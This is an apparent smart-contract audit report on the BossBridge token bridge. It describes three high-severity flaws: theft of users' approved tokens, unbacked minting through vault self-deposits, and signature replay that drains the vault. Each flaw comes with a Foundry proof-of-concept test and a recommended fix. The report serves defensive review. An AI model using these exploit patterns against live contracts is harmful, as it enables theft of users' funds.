BossBridge Audit Report

Version 1.0

h1utt

February 22, 2025

BossBridge Audit Report

h1utt

February 22, 2025

Prepared by: h1utt Lead Security Researcher: - h1utt

Table of Contents

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Disclaimer

h1utt makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Roles

- Bridge owner: Owner can pause and unpause withdrawals in the `L1BossBridge` contract. Also, they can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Issues found

Severity	Number of issues found
High	3
Medium	0
Low	0
Info	0
Total	3

Findings

High

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assets stolen

Description: The `depositTokensToL2` function allows any caller to specify a `from` address when transferring tokens into the bridge. This means an attacker can call the function using a victim's address as `from`, provided that the victim has approved tokens to the bridge. The function then moves tokens from the victim's account into the bridge vault and credits them to an attacker-controlled address in L2 via the `l2Recipient` parameter.

Impact: Any user who has given token allowances to `L1BossBridge` is at risk of having their tokens stolen by a malicious actor. This allows unauthorized transfers, enabling attackers to redirect victims' funds to their own addresses on L2. This vulnerability could result in significant financial losses for users.

Proof of Concept:

Proof of Code

Place the following into `L1TokenBridge.t.sol`

```
    function testCanMoveApprovedTokensOfOtherUsers() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation: Modify the `depositTokensToL2` function so that the caller cannot specify a `from` address

```
-   function depositTokensToL2(address from, address l2Recipient,
   uint256 amount) external whenNotPaused {
+   function depositTokensToL2(address l2Recipient, uint256 amount)
   external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
```

```diff
                revert L1BossBridge__DepositLimitReached();
            }
-           token.safeTransferFrom(from, address(vault), amount);
+           token.safeTransferFrom(msg.sender, address(vault), amount);

            // Our off-chain service picks up this event and mints the
               corresponding tokens on L2
-           emit Deposit(from, l2Recipient, amount);
+           emit Deposit(msg.sender, l2Recipient, amount);
        }
```

[H-2] Infinite minting of unbacked tokens by depositing from Vault to itself

Description: The `depositTokensToL2` function allows the caller to specify the `from` address from which tokens are transferred. Because the vault already grants infinite approval to the bridge in its constructor, an attacker can exploit this by calling `depositTokensToL2` with the vault as the sender. This results in a self-transfer of tokens within the vault while still triggering the `Deposit` event. Consequently, an attacker can repeatedly mint unbacked tokens in L2 without any actual asset movement on L1.

Impact: An attacker can infinitely trigger the `Deposit` event while keeping all tokens inside the vault. This could lead to the unlimited minting of tokens in L2 without real backing, which could destabilize the system, dilute token value, and lead to severe financial losses for legitimate users. Additionally, an attacker could direct all these minted tokens to themselves.

Proof of Concept:

Proof of Code

Place the following into `L1TokenBridge.t.sol`

```solidity
    function testCanTransferFromVaultToVault() public {
        address attacker = makeAddr("attacker");

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        // Can trigger the deposit event, self-transfer tokens within
           the vault
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance);

        // Can be repeated any number of times
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
    }
```

Recommended Mitigation: Modify the `depositTokensToL2` function so that the caller cannot specify a `from` address

```
-   function depositTokensToL2(address from, address l2Recipient,
    uint256 amount) external whenNotPaused {
+   function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the
            corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

[H-3] Lack of replay protection in `withdrawTokensToL1` allows unlimited unauthorized withdrawals

Description: The `withdrawTokensToL1` function allows users to withdraw tokens from the bridge using a withdrawal request signed by an approved bridge operator. However, the function does not incorporate replay protection mechanisms, such as nonces. As a result, once a valid signature from a bridge operator is obtained, it can be reused indefinitely by an attacker to repeatedly execute withdrawals. This allows an attacker to drain the vault without restriction.

Impact: An attacker can use a previously authorized signature to continuously withdraw tokens from the bridge until the vault is fully drained.

Proof of Concept:

Proof of Code

Place the following into `L1TokenBridge.t.sol`

```
    function testCanReplayWithdrawals() public {
        address attacker = makeAddr("attacker");

        // Assume the vault already holds some tokens
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance);

        // An attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(
            attacker,
            attacker,
            attackerInitialBalance
        );

        // Send the tokens back to L1!

        // Signer/Operator is going to sign the withdrawal
        bytes memory message = abi.encode(
            address(token),
            0,
            abi.encodeCall(
                IERC20.transferFrom,
                (address(vault), attacker, attackerInitialBalance)
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(
                attacker,
                attackerInitialBalance,
                v,
                r,
                s
            );
        }

        assertEq(
            token.balanceOf(address(attacker)),
            attackerInitialBalance + vaultInitialBalance
        );
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: Consider redesigning the withdrawal mechanism so that it includes replay protection.